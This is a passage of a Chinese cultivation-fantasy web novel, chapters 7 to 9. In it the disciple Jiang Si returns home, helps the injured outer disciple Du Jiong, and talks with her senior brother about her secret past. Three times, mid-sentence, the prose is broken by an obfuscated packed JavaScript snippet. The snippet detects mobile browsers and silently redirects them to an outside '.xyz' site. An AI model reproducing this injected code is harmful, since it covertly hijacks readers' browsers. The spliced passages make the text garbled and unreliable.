“可惜,借怨修罗堕道,将人间仙境的天间送毁于一旦,成了人间炼狱,修仙禁地,长恨天。他身死长恨天,体内怨煞之力暴走,令死在天间送的人,都无法入轮回。” “怨气成煞,恶鬼当道,尸横遍野。” “简直是为恶鬼怨煞量身打造的盘踞之所……” “所以赭石水,只有长恨天才有。”凌萚淡声补充,“蓝朝说,她在浮水魂归里,见到了江汜本该魂归处——” “从前尸横遍野,怨煞当道,如今禁制万千,太常镇守的——长恨天。” 凌萚说到这里似乎冷笑了一声:“渡舟……不,或者说问灵修士,有可能从长恨天毫发无伤的走出来吗?” 宋泠手挽柳枝,不做回答。 “她的离火,是我见过最耀眼,最夺目的离火。”凌萚目光连同嗓音又沉谧下来,他望着天上逐渐变得透明的月,天要亮了,“如烈日临空。” “四师妹,你也见过。” 宋泠沉默着不说话,她望着天上逐渐消失的月,杂乱的思绪在脑海里一闪而过,她捕捉不到任何能够说出来的话。 木助火升,她当然见过那如烈日当空的朱雀离火,和那个人。 凌萚不再停留,转身离去。 宋泠留在原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995108|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她等了许久,等到烈日临空,朱红的阳光刺痛她的双眼,她才轻声呢喃了一句:“师姐。” * 夜色葳蕤,江汜一路回来连开几道路引,四师姐蓝朝给她的水凝灵悉数用尽,直到夜色又近,她才到了朱雀山脚下的焰翎峰。 朱雀山与六合亦不同,朱雀地界内,南向为人间之地,以焰翎峰为界限,分隔两方。焰翎峰与其说是一座山峰,不如说是一座通往仙界的天池瀑布。 从人间之地往上而看,能看见半个峰头都藏匿在云海之中的焰翎峰上,坠落的千尺瀑布。人间称叹天山水落人间,万物复苏。 而在朱雀山内,焰翎峰的千尺万丈瀑布,如同朱雀尾翼,遥遥望去,整座朱雀山如朱雀腾飞。 江汜落在焰翎峰上,掀起的千尺瀑布,水珠落在她的身上。朱雀山内无法使用路引,但山峰与山峰之间有传送阵相连,无须御剑,顷刻便能到达想去的山峰。 她仰头望向最高处的七宿峰,紧绷的眉眼松缓下来,唇角隐约衔起一点笑意。 她总算,要到家了。 雨无正师尊也快出关了,江汜自四年前拜入七宿峰,仅见过雨无正一面,近些年来,她修炼上的困惑皆由大师兄指点。 江汜又想起身上与其他朱雀弟子不尽相同的离火,虽然四年前师尊已为她解答过——火分三等,直符金火为尊,朱雀离火为次,腾蛇丁火为末。 而这其中朱雀离火本身也分三等,每一位修出离火的朱雀弟子,身上都有一抹印记。肩上额止为尊,肩下腕上为次,下肢为末。 江汜初入朱雀,便已在其余同门的手背,或是手臂处见过,额带离火印记的弟子甚少,江汜在外门不曾见过。后来得知,额有印记的弟子都会以术掩其印记,除了宗主和一些长老外,朱雀山上到底有多少额间离火印记的弟子,大部分都不知晓。 但想来应该不多,若朱雀弟子人人都修出额间印记,就不必苦年年仙门大试,朱雀离火末于直符金火了。 她还记得那日师尊睁眼,看向她空白的额前,师尊明明看穿了她临时加至额前掩盖的术法,却什么也没说。 她的离火印记不在额前,亦不在肩臂四肢,而在谁也想不到的心脏处。 人间常言火由心生,戒骄戒躁,而师尊亦说,火气过旺,心脏肺腑不宜旺火,越旺越燥,易堕怨。 江汜隐约猜忌,离火印记生在心脏处,是错误的。 但师尊没有多问她什么,解惑完毕,只是道了一句:“这世间唯有真实不必被拆穿。” “修行如树种,急而不得,招风而叶落。” 江汜一言不发,只是出殿之时,额前术法不稳,额前离火印记暴露在众人视野里。 凌萚师兄笑意依然温和,他上前来,在她额前重新布下一道隐息禁制。 谢不悔却是凑上前来,还想仔细看上一两眼,嘴里惊叹:“额前离火?怪不得师尊这样着急出关收你为徒。” 四师姐蓝朝声音幽幽的声音连惊叹的声音都显得如水晃悠:“额前离火!二师兄,以后我就不用你来帮我,我要和新来的小师妹练!” 谢不悔冷哼一声,手肘撞在蓝朝身上,“得了吧四师妹,你的水,太弱。小师妹现在可不比不上我用火精准,万一把你从人间买来的簪花发钗烧坏了……” 五师兄易树眼睛里亮闪闪的,他不怎么说话,等到江汜的目光望向他的时候,他才讷讷的开口:“小师妹,厉害。” 而三师姐宋泠,她伫立在人群之外,清冷的目光中依旧看不出什么情绪。 7. chap7 江汜还沉浸在回忆之中,她步伐雀跃,带着一点她自己都不清楚的愉悦。 她想,等此次师尊出关,她要向师尊坦白离火印记古怪的事,请问师尊是否知晓她的离火印记为何此古怪。 她想,她还是不喜欢谎言,也不想维持一个可以成真的谎言。 长恨天没有真实,也没有真相。里面也没有人,它们都披着人的皮,伪装自己作为人的身份。 长恨天是一个巨大的谎言,江汜不喜欢那里,也不想做长恨天里一样的人。 “师……师姐?” 江汜走入假山林的传送阵,而阵中已经有人了。她抬眸看见一个额角缠着绷带的清瘦少年,灰败无色的左眼在夜幕下格外的明显。 乍一看,还有些吓人。 但江汜并不觉得吓人,初见之时,她就觉得杜坰无法视物的左眼,带着一种脆弱的、难以言说的漂亮。 灰白的瞳孔里,仿佛有精密的线缠绕着。它们相互纠缠,于是成了一只无法视物的灰白眼仁。 “你怎么又受伤了。”江汜迈步朝着少年而去,焰翎峰上橙红、翠绿的林木随着夜色倒映在她的眼眸里,平添了一抹柔和。 少年借着月色看清江汜的模样,唇边的笑意更深,微微耷拉着的、总是透着怯意的眉也扬了起来,沉寂如静湖的眼睛格外明显的亮起,仿佛在他的琉璃清澈的右眼里下了一场春雨。 他又唤了一声,声音清朗,澈如露水:“师姐!” 江汜站在他身前,曲起手指,在他受伤的额角轻点,“有离火就不怕被欺负了。” 轻微的疼痛从额角传来,但杜坰却只是轻轻眨了一下眼,没有躲开江汜的触碰,清澈的眼眸就这样直勾勾的望着她。 朱雀外门仅有一个药堂,外门弟子大多天赋不佳,处于问灵期。问灵修士,仅有亲和与自己灵根相同灵力的能力,能用的简单术法并不多。 而医修之法,是九宗修炼之法中,起步最难的。 朱雀外门药堂,境界最高也不过渡舟九境。倒是会些疗愈之法,但…… 江汜想到初次碰杜坰之时,瘦骨嶙峋的少年正被人逼着去做落霞峰的清扫落叶。落霞峰有一片连绵不绝的枫树林,四季落叶。 那是外门弟子都讨厌的一项日常任务,无法偷懒,总是要扫上一整天,纷乱的落叶才会放过他们。 江汜却不讨厌这项任务,进入七宿峰后,她也常常来此。于是撞见了被人推搡而来的杜坰。 少年脸色苍白,身形消瘦,咳得肝肠断裂,仿佛刚生了一场大病。外门弟子的服饰穿在他的身上松松垮垮,一半是被拽掉的,一半是他太过瘦弱,撑不起衣服。 江汜并不在乎同门之间的争吵,她轻扫落叶打算换一个清净些的角落。但偏偏就是那么不巧,她察觉一股灵力躁动,还未来得及挪开位置…… 几乎一脸血的少年被简单的灵力术法轻而易举的挑飞,撞在她的脚下。 江汜略微迟疑的低头,却没有看到少年脸上挣扎不堪、或是恼怒亦或是疼痛皱眉的表情。 少年脸上尽是血污,散漫的落叶也粘连在他的脸上,唯有那双苍白的左眼,没有沾染丝毫的脏污。 他睁着那只干净苍白的左眼,宁静地望着天空,仿佛被一脚踹飞的时候,也只是这样平静的看着。 但他此时的视野被忽然出现的冷然面容占据,对方深如无月夜的黑瞳静静的打量着他。 杜坰不知想到什么,轻轻上扬了几分落血的唇角。 江汜身形果断的同他拉开距离,心里莫名:笑什么? 但大约是她在杜坰身旁停留的时间稍显那么不正常,江汜不过刚往后挪了一步,那群对杜坰出手的弟子一句话不说,也对着她一起出手。 江汜自然没什么怕的,若是她还在外门,还需隐藏自己的离火问题,当然不敢随意动手。而且此时,只是几个问灵八境的弟子,江汜甚至无须动手,只是令额间离火印记显现,手握扫帚,往前踏出一步,周身燃起朱红的灵力,将杜坰也圈在其中。 “离字,护。” 多方灵力朝着江汜冲撞而来,不痛不痒的砸在朱红的离火罩上,只稍稍吹撩起少女耳侧的碎发。 仰躺在地上的杜坰,睁开那只受伤但能视物的右眼,琉璃染血的眸子里只有江汜一人的身影。 “好……” “好漂亮的离火。”少年静谧的苍白的瞳孔里,闪烁着金红夺目的火焰,以及被火焰包裹,枫叶缠绕的如松竹挺立的少女身形。 灼热的风声中,江汜没有错过杜坰的声音,以及那双艳羡的眼睛。 真奇怪,那双盲了的灰白瞳孔里本不该有任何的神采,也不该读出任何的情感来。但——江汜偏偏觉得那只看不见的眼睛里,火焰燃得更烈,少年隐匿的心思也看得愈发的,清晰。 闹事的人什么时候离去的,江汜都已记不太清了,她只记得手握扫帚,盯着地上的杜坰瞧了许久。 直到管教长老路过,以为她在欺负人,一声厉呵才叫她回了神。 杜坰依旧望着她,那双刚才还馥郁情感的眼睛又沉寂了下去,一动不动,像个呆子。 但他还是撑着身子坐起来,对着急哄哄而来的管教长老扬起一个笑容:“是师姐帮了我。” 管教长老看清杜坰的脸,方才那副义愤填膺的眼神,一瞬就变了,变得古怪的平和。 “杜坰啊,去药堂拿了药,就赶紧回来清扫落叶吧。” 说着一转眼他又看见江汜内门弟子的衣饰,连忙从江汜手中夺过扫帚,扔到杜坰的身上,气恼地对着杜坰说:“你怎么回事?!你怎么能让内门师姐替你清扫?” 杜坰没有拒绝,江汜甚至没有从他那张对着长老笑着的脸上看出其他的情绪波动。 管教长老对着江汜问候几声,又随意说了些与杜坰有关的事。这个在他眼前刚被同门欺凌过的少年,在管教长老的口中,却是个四处惹事的纨绔。 江汜漫不经心的听着,垂眸朝满脸污血、伤口还未得到处理,面气虚弱的杜坰看去。 他能惹事?江汜不信,杜坰这一身弱不禁风的身骨,怕是还没跃上墙头,就已经崴了脚。 但少年不言不语,不驳不辩,只是微微弯着眼尾,唇角轻轻上扬,无知无觉的笑着。 江汜感觉有些心烦,转身离去。后来几次遇见杜坰,他都挂着一身的伤。旧伤未愈,新伤就添。她也渐渐听到关于杜坰的事情——灵根残缺,任何术法都无法修习的破烂天赋,而离火更是天方夜谭。 但在他的脸上却从未看到过丝毫的埋怨与痛苦,他看见江汜也总是扬起一个澈如露水的笑意,轻唤一声:“师姐。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995109|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江汜总是毫不在意的别开眼去,直到一次宗门大比,她拂着离火微燎的袖口,从台上走下,拐入一个狭角。 又碰上了杜坰。他的身上依旧是未愈的伤口,但他此时却没有注意到江汜,目光仍旧死死地盯着比试台。 盯着比试台上还未完全消散的离火。 江汜又听到那句:“好漂亮的离火。” 以及少年眼中,无法忽略的艳羡。 江汜还没来得及理清心中那丝波动的情绪,就已经将凝虚袋中,她用过多年的木剑扔了出去。 少年被砸了头,眼中一片茫然,整个人往前摔了一下,手忙脚乱地接住了江汜扔来的木剑。 “师姐?” 江汜反应过来自己的动作,不免皱了眉,语气也凶狠着带上了情绪:“没有离火,就自己炼。” 她说完转身就走,却还是听见少年轻快的嗓音:“师姐!” “谢谢。” 江汜眉梢间溢出点点笑意,但她却并不明白为何开心。 不过……江汜后来遇见杜坰,却见他似乎依旧没能炼出离火,身上的伤也一如往常。他似乎并没有去药堂拿过药,或者他拿不到。 * 江汜想到这些年里,每一次碰见杜坰的时候。他身上总是有伤,药堂似乎不对他开放使用,除了一些普通的伤药,他甚至得不到药堂医修的治疗。 江汜也怀疑过,杜坰是不是在外门做了什么人神共愤的事情。但她查来查去,却什么都没查到。 只是几乎所有人都在说——杜坰啊,反正什么麻烦事都可以交给他,他不会拒绝啊,总是笑着。 总是笑着,所以让人误会,他什么都愿意做? 江汜手指落下,静静地盯着杜坰看了好一会儿,杜坰垂弯着眼眸,嘴角挂着笑意,眸光轻轻的望着她。 “你去哪?”江汜别开眼,有些不想面对杜坰含笑的眼眸。 杜坰:“还没想好,师姐去哪?” 江汜:“……回七宿峰。” 杜坰眼神里有一瞬的失落,但他的嘴角的笑意却没落下:“啊,那我没办法去了。” 江汜还没说什么,杜坰就自觉的往旁边挪了一小步,笑着冲她挥手:“师姐先走吧。” 江汜:“……” 她迈步朝着杜坰靠近,拽过他垂落身侧的左手,一点灵力探入,就忍不住皱了眉。 杂乱无序的灵力在杜坰的体内游荡着,而她也没有感觉到丝毫的离火灼息。 她看向杜坰,少年依旧是那副不卑不亢,眼眸带笑的模样。 “师姐,我有很认真的炼离火。”杜坰稍抬眼眸,静静的望着江汜,“大概是我灵根太过残缺,所以总是练不好。” “但是,我一定会有离火的。”杜坰又笑起来,“我喜欢师姐的离火,很漂亮。” 江汜沉默的松开他的手,但凡查看过他灵根的人都会知晓,他的灵根有人为的痕迹。只是,杜坰从未提起,他仿佛认为,他的灵根天生如此。 “我不会疗愈之法,只有一些丹药给你。”江汜从凝虚袋中取出丹药,不小心摸出一朵凝悠花,想了想也一并塞给了杜坰。 她重新站回阵中,以灵力催动传送阵,她想说些什么,但望着杜坰的眼睛,又什么都没说。 一点金光闪烁,江汜已到了七宿峰。 8. chap8 七宿峰上天动异变,分明已是深黑的夜幕,但七宿峰的天上却挂着一卷腾烧的云。肃萧的风将云层聚拢,远远望去,仿佛有一团火燃烧在大殿之上。 江汜看得入迷,她从未见过师尊出关时七宿峰的模样。只是偶尔听大师兄说起,师尊将要出关之时,天上火烧云,灵气不断绝。 江汜阖眼感受了一番,七宿峰上的灵气带着灼息,缓缓的朝着天上火烧云靠近,很是奇异。天地间的灵气总是懒惰,连风都吹不动,只是有人问它们能否进入自己身体的时候,才会有微末的回应。 她忽的笑了一下,想起第一次修行时,总是无法引灵气入体。她感到苦恼,明明跛脚娘说她有灵根,可她却摸不到修行的门槛,迈不进灵力的世界。 也是跛脚娘同她说:“你只顾着自己身体能够承受灵力的洗涤了,你可问过这天地间的灵力愿意入你身体成为你的一部分了吗?” “问灵问灵,你不问问它们吗?” 可江汜来了朱雀山才知道,问灵并不是要真的去问。跛脚娘也总说她,在修炼上没什么天赋,只是问灵都弄得如此复杂。 “师姐。” 江汜还没走出传送阵,也还没想好先去找大师兄还是三师姐,就听到传送阵后传来了熟悉的声音。 她眉带疑惑的回头,看见刚刚还在说来不了七宿峰的杜坰出现在她的身后,紧接着脸色一白,低了头轻声咳嗽起来。 江汜看见点点鲜血坠落地面。 “……” 她听见自己叹息一声,就已经将手搭在了杜坰的肩臂上,温热的灵力没入杜坰的体内,江汜勉强运转灵力在杜坰的体内运行了一小周天。 朱雀山上传送阵相连,内外门弟子皆可使用,唯独七宿峰有禁制,外门弟子不可进入。 但也不是没有办法硬闯。 江汜望着弯腰咳得快背过气去的杜坰,不知道他用的是哪一种方法。 “还有事?”江汜松开手,往他身前走了一步,稍微挡住他的身形。 若是被人发现他私入七宿峰,免不了去朱正司领罚。杜坰目前的状况,怕是免不了去鬼门关走一遭。 杜坰缩了缩手臂,他好似有些冷,双手垂在长袖中。他抬起眼帘,随意蹭了蹭唇角的血迹,他笑着看向江汜,又喊了一声:“师姐。” 江汜微微皱眉:“有事说事。” 于是杜坰小心翼翼的收拢了笑意,在袖口里摸了摸,取出一盒糕点。 “师姐,我从人间带回来的糕点。” 江汜看了一眼杜坰手里的糕点,一时语塞。本该有六个糕点的盒子里,此时只剩下了孤零零的一个。 “……我不要。”江汜感觉莫名,杜坰似乎总是这样,奇怪。 杜坰也歪头看她,苍白的眼眸明明没有视野,也无法视物,江汜却感觉杜坰在用那只眼睛看她。 “师姐不吃吗?” 江汜:“不吃。你要没别的事,就回去吧。” “要是被发现……” 杜坰好像没有听她说话,他自顾自地朝着江汜走了一步,澈亮的眼眸一眨不眨地盯着她:“师姐,这不是我吃过的。” 他说着不好意思的摸了摸鼻尖,眼神里带了些沮丧:“被师兄们抢了一些,我,只留住这一块了……” 江汜又看清杜坰额前的纱布,她冷不丁地问:“你和他们打架了?” 杜坰笑起来,用力地点了点头:“嗯!” 怪人。江汜忍不住想,以前被欺负得浑身是伤的时候都没反抗,怎么现在又为了一小块糕点,学会反抗了。 “师姐,你可以吃吗?”杜坰琉璃的眸子里盛着期待的目光。 像什么呢?江汜忍不住想,像跛脚娘捡回来的那只灰白杂毛的狗崽,江汜忙着躲躲藏藏的时候,狗崽却总是能叼来她需要的东西。可惜狗崽命不好,长恨天里,没有人的活路,更何况一条瞎了眼断了腿的狗崽。 人护不住人,也护不住一只狗崽。 江汜接过了他手里的糕点,随意咬了一口。清香的甜,不腻,甚至有一股她熟悉的味道…… 但她的味觉不太敏感,好像尝什么都熟悉。 “师姐,好吃吗?”杜坰似乎想对着江汜笑,但一股错乱的灵力在体内冲撞一瞬,他强忍咳血的冲动,浓密的眼睫轻颤了颤。 江汜注意到他的神情,一口将糕点塞入唇中,抬手催动传送阵。 “你该回去了。”不知道杜坰用的什么办法硬闯,但看起来他再在这里待下去,说不定就要气断于此了。 “咳……师姐,等,等等……” 杜坰见江汜以灵力催动传送阵,澈如清水的右眼里,头一次出现了慌乱。 江汜感到古怪的歪了一下头。 虽说在朱雀山时不时就能和杜坰碰上一两面,但杜坰每次见她也只是唤她一声师姐,江汜也只是偶尔扔给他几瓶丹药,除此之外,两人便并无多余的交流。 更别说,杜坰此次这般莽撞的,为了一块糕点,强破传送阵禁制…… 江汜望向杜坰的眼神里不免带上了一点猜忌,但又见到杜坰因为硬闯禁制而气血攻心,灵力逆转,捂着心口咳血还要抬起头来,用可怜的、恳求的目光……望向她。 又有些心烦意乱。 “杜坰,硬闯禁制不是你能承受得起的。” 江汜又想起死在她脚边的那只狗崽。江汜以为它不会死,以为它和她一样,又逃过了一劫。它那样努力的蹭着她的小腿,脏兮兮的血污蹭了她一腿,明明还在笑。 杜坰眼神里透着着急与慌乱,他见到传送阵白光乍起,眼神死死地盯着江汜,连唇边血污都来不及蹭一两下,他慌乱摇晃的起身往前冲出一步…… “师姐,等等……我!” 杜坰的手刚刚抓住江汜的衣摆,下一刻就被传送阵传出了七宿峰的范围内。 “……” 江汜微微垂眸,看见袖口处,杜坰蹭上去的血污。杜坰差一点抓住她的手。 一股烦闷之意隐隐荡在胸口,她的心脏中生出狗崽死的那日,同样的不安来。 杜坰到底…… “咦,师妹?”江汜正犹豫要不要追上去问个清楚,身后就传来熟悉的声音。 是二师兄谢不悔。头束水色金纹发带,一袭黑衣,在夜色中并不起眼。 他歪头站在江汜的身后,手里还捻着一张符咒,眼眸中的不耐在见到江汜的瞬间变得震惊。 谢不悔收了坤定符,信步朝她走来:“刚刚察觉到传送阵有异,我还以为又是哪个不知天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995110|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高地厚的弟子硬闯七宿峰禁制,正要来抓人,好生惩罚一顿……” 谢不悔说着将手肘搭在她的肩膀上,歪头瞧她:“师妹,怎么是你啊?” “禁制是不是坏了,都不认得我师妹了?”谢不悔轻笑道,“看来我得重新布一个禁制,不认得我师妹可不行啊。” 江汜不想瞒他,她直言道:“刚才确实有个弟子闯入,不过没能进来,我就将他送走了。” “二师兄,三……” 谢不悔脸色不变,曲手轻拽她的耳侧发辫,语气不羁:“小师妹,你就这样不痛不痒的把人送走了,该说你真是心眼好呢,还是心眼好呢?” 江汜一时语噎,她想她可担不起二师兄这句心眼好,毕竟她心眼实在小又坏。初入七宿峰,跟一头养不熟的白眼狼一般,疏离着所有人。 后来,后来才好些…… 谢不悔见她不语,随意笑了笑,抬手摸了摸她的头:“算了,无关的弟子就不管了。” “倒是小师妹,你再不回来我就要去太常要人了。”谢不悔站到她的身前,微蜷手指,点在她的额间,恰是她离火印记的位置。 谢不悔眼神晦暗,但不明显的光亮中,无人察觉。 “你说你,要去给三师姐找凝悠花,不叫上大师兄就算了,怎么连我也不叫上?”谢不悔不动声色的将手收回,抱胸而立,“二师兄在你眼里就这么没用?” 不待江汜回答他又自顾自地说起来:“虽然二师兄我握不了剑,但我的符咒和大师兄的剑法相比,也没有差很多吧?” 江汜笑了一下:“……太危险了,二师兄。” 谢不悔脸色一变,生气的在她头上敲了一下,眼神危险地盯着江汜:“原来师妹也知道危险。” “而且你这是什么意思?小师妹一剑一离火就能闯太常入雾岭取凝悠花,二师兄一符一离火,就危险了?” “二师兄……”江汜不太会说话,只能讷讷地喊一声师兄,干巴巴地道:“我不是这个意思,只是我……” “嗯?”谢不悔冷着脸看她。 江汜声音渐小,颇为不自在的挪开眼。 “我不想你们受伤。” “一点也不行。” 在朱雀山的日子,她偶尔也会想起长恨天的跛脚娘和那只狗崽。她偶尔也想,假如她可以回到过去,她再也不想当一个只能躲在他们身后的人。 逃跑的时候,应该背上跛脚娘,也可以抱起狗崽。 跛脚娘也能跟她一起从长恨天出来,狗崽也不会死。 不要受伤。 江汜抬头看着谢不悔,谢不悔的眼神错愕,好似没有听懂她的话。 不过…… “不过,师兄师姐们都很厉害,而且宗门试炼也好,除祟历练也罢,都不可能不会受伤。”江汜缓缓道,“只是,我不想师兄师姐们,因为我受伤。” “二师兄就当我是死脑筋吧。” “……”谢不悔不语,他闭眼叹气一声,伸手摸在她的发间,动作轻缓地揉了揉。 “走了,三师姐他们都等你许久了。” “固执的……师妹。”谢不悔将师妹二字咬得极轻,他望着眼前浓厚的夜色与天上不断扭曲的火烧云,眼神晦暗不明,不知在想些什么。 9. chap9 两人并肩而行,走在七宿峰的树天小道上。 这是七宿峰独有的树天,据大师兄转述师尊的话所说,这棵遮蔽半个七宿峰的树天,是日栖神树折下的一截树枝栽种而成。 树天之中,有无数小道,墨绿的树干密密实实将七宿峰的道路分隔,每一条墨绿光影的小道都通往不同的地方。初来七宿峰的弟子总是会在其中迷路。 但江汜没有,她走在树天小道中,就仿佛信步在自家庭院一般。 谢不悔跟在江汜的身后,眼神如常,他双手交叉,懒散的搁在脑后,随着江汜的步伐行走。 “小师妹,每次见你走树天小道,我都忍不住惊讶。”谢不悔冷不丁的开口,她这个小师妹,话实在少,同她走到一起,仿佛世界都安静了下来。 没有嘈杂,没有谩骂,也没有如梦的欢声笑语。 但谢不悔还是要用声音刺穿这令人舒心的安静。因为江汜,是一个…… 谢不悔眼睫轻颤,耷拉下来一点。 于是江汜回眸,没有看见谢不悔的眼睛里遮掩的情绪。 “我也很惊讶。”江汜挽唇,她仰起头来望着遮天蔽日的树干,错综交织的树干间,小道万千;浓密的枝桠下,视野裹挟。 灵力探路在这树天之下,也会被迷惑。 “二师兄,我想我是闻到了正确的道路。”江汜低头回眸,又笑了一下,她微微沉吟,斟酌了一下用词,努力地朝谢不悔说出她的过去。 “……我以前,以前被人追杀的时候。” “也能嗅到……不一样的路。” “所以,总是能逃掉。” 谢不悔眼神微变,但他没有应声,眸光静静地望着江汜,等到江汜又朝她看来的时候,他才微微扯起一点嘴角,展露一点好奇,一点疑惑。 江汜攥了攥手心,没有从谢不悔的眼神中看出一点避之不及的眼神,她莫名松了口气。 她也变得古怪了,若是过去,她从来不会这样遮遮掩掩的说起自己过去的事。过去她唯独只怕身后的人追上来,踩下她的头,折断她的四肢,再把她扔进泥沼中,告诉她——这才是你该待的地方,你哪里也别想去。 但现在,她害怕的东西竟然变了。 长恨天被称为修士的禁忌之地,万物不入,怨鬼不出,人人避之不及,闭口不谈……倘若他们知晓自己从长恨天而来,会有什么样的表情呢? 江汜偶尔会想,于是每想一次,就会想要把秘密藏得更深一点,再深一点。 但听见师兄师姐们笑谈从前过往,每个人的模样在她心里不断加深的时候,她又会忍不住想……自己如今展现出的一部分,有让师姐师兄们真的了解她的模样了吗? 她想要说。 跛脚娘说,长恨天里没人可信,不要告诉任何人自己的秘密。跛脚娘也说,去了外面就好了。想说什么,就可以说什么了。 ……外面都是人,是牵手会感觉温暖的人,是说话会感觉安心的人。 谢不悔见江汜久久不说话,于是故意放下手,撑在她的肩上,歪着头笑道:“小师妹竟也会被人追杀?不过,被人追杀这种事,一回生二回熟,想当年,你二师兄仙门大试也是小有威名……” 江汜微微瞪大眼睛:“二师兄,你在仙门大试也得罪了人?” 谢不悔轻快的语气一噎,手间无意识甩着的空白符箓朝江汜头上一甩:“什么得罪人,那是他们自己技不如人。” 谢不悔说着古怪的盯了她一眼:“小师妹,你看着不声不响,倒是没想到也能在仙门大试上惹出这么大动静。” “比师……师兄当年都厉害。” 谢不悔说着顿了一下,含笑问道:“所以师妹,你过去被人追杀的时候,是什么时候?不会是仙门大试后吧?” “说起来你确实常常一个人外出历练。” 谢不悔说着微微叹气,习惯性地用手指戳戳她的额头:“小师妹,你刚来的时候,可真真是冷漠,不近人情,不受好意。” “你那会儿才什么境界?问灵?渡舟?仙门大试刚结束,树敌众多,你就敢孤身一人往外跑。” “把你师兄师姐们都当什么了?你初入七宿峰,四师姐堵你几次,才堵住你为你浮水做桥,渡你魂入七宿峰。” “哪知道,我们师妹,根本不把七宿峰当家,也不把师兄师姐们当好人。” 谢不悔故作生气地道,话音几次要落,眼看着江汜要开口,他就另起话头。 “……师兄,对不起。” 江汜没能插上话,等到谢不悔妙语连珠似的说完,她已无法胆战心惊地说出那句:“我没有。” 她有。所以只能干巴巴地道一句,对不起。而且,她现在隐约了悟,骗人是不对的。越是亲近的人,应该要坦诚。 这和在长恨天的时候不太一样。 谢不悔脚步不停地往前走出一大段距离:“……” 江汜:“二师兄——” 谢不悔脚步依旧不停,手抱身前,头也不回地朝前走着。 江汜急急忙忙的跟上去,又喊了一声:“二师兄,你走错路了。” 谢不悔:“……” 他这才停下脚步,等着江汜追上来。 江汜走至谢不悔的身前,她琢磨不透谢不悔突然的这又是怎么了,于是望着他问道:“二师兄,你怎么了?” 谢不悔乜下一点眼神,对着根本察觉不到他情绪的师妹,他长叹一口气,有气无力地道:“二师兄怎么了?二师兄生气了。” 江汜不解:“我没有骗二师兄呀,我当时确实……确实没有把七宿峰当家,也没有把师姐师兄们当好人。” “但是我……” “别说了。”谢不悔伸手,撩起她额前的刘海。 江汜的额前的头发并不规整,她的额角左侧有一点漩,于是那里的头发也绕着漩生长,稍微翘乱。 温热的指尖点在她额前离火印记的位置。江汜不躲不闪,只是又想起跛脚娘说起外面的那句——真正的人,身上是有温度的。 “……二师兄?” 谢不悔嗓间碎落些笑声,在树影摇曳间,如铃铛摇晃般好听。 “小师妹,我倒宁愿你撒谎骗我。” “这么实诚做什么。” 骗子才不值得同情。 江汜不懂,她有心再问,但谢不悔已经闭口不言,他往前走了一步,望了望树干上的符箓印记,选出一条正确的路往前而行。 江汜跟在他的身后,一言不发。她总是琢磨不透每个人的心思,修仙者和普通凡人也不一样,江汜也无法想从前那般嗅出他们未言的想法。 但就在江汜以为两人就要这样沉默的走到七宿殿的时候,谢不悔忽的头也不回地问:“师妹,你以前被追杀,不是仙门大试之后吧。” 江汜一愣,不假思索地道:“不是。” 话落她又想起谢不悔先前和她说,不如骗他,实在拿捏不准,又补充地问了一句:“二师兄,我是不是该撒谎。” 谢不悔却没有笑,也没有回头戳她额头。 而是哑声地问:“那是,什么时候?” “师妹,你为何,会被追杀呢?”谢不悔嗓音滞涩,他每吐出一个字都感觉到呼吸刮破喉咙的疼痛,但他还是要问,或者说不得不问,“我很好奇。” 起初,得知师尊强行出关要收江汜为徒的时候,谢不悔只是略感讶异。毕竟他们师尊自那事之后,就一直闭关不出。 闭关之前还把他们几人叫去,耳提面命叫他们不要再追查那件事。 但没有一个人听进去了。雨无正闭关的这些年里,他们的手里已经沾满了仇人的血,可惜……不管杀了那日参与其中的多少人,他们都寻不到消失的离火,找不到被剥离的离火,到底进入了谁的身体。 直到…… 直到江汜出现。江汜初入七宿峰,孤僻、冷漠,谢不悔时常见不到这个在仙门大试上出尽风头的小师妹。 偶尔遇见她,想要提醒她一两句仙门大试刚刚结束,近日不要离开宗门,免得其他宗门弟子心里不服气,背地里阴她。 但他还没开口,江汜已然若无其事地从他身旁走开了,一点余光都没给他。 江汜好似也就和大师兄三师姐稍熟些。不过宋泠药堂太忙,小师妹也很少能跟宋泠聊上几句,倒是和大师兄聊得更多。 后来他见凌萚赠她一柄木剑,才知晓小师妹离火看着不错,居然不会惊雷灭。于是他想了想,作为师兄,也该送小师妹一些见面礼。 他只会符。符有攻击、增益、弱化等效果,但他挑来挑去,头一次觉得自己亲自画的符,没一张适合小师妹。 于是他去了直符,为江汜赢回来了一张直符火咒,能锻她离火。 那是江汜头一次对他笑,他想小师妹笑起来也挺不错的。后来,后来江汜同他们就更熟稔了,偶尔他们几人要外出寻仇,江汜也想跟来。 虽说他们本意并不是想将江汜排挤在外,可……他们又如此心照不宣的,不想让江汜接触到那些。 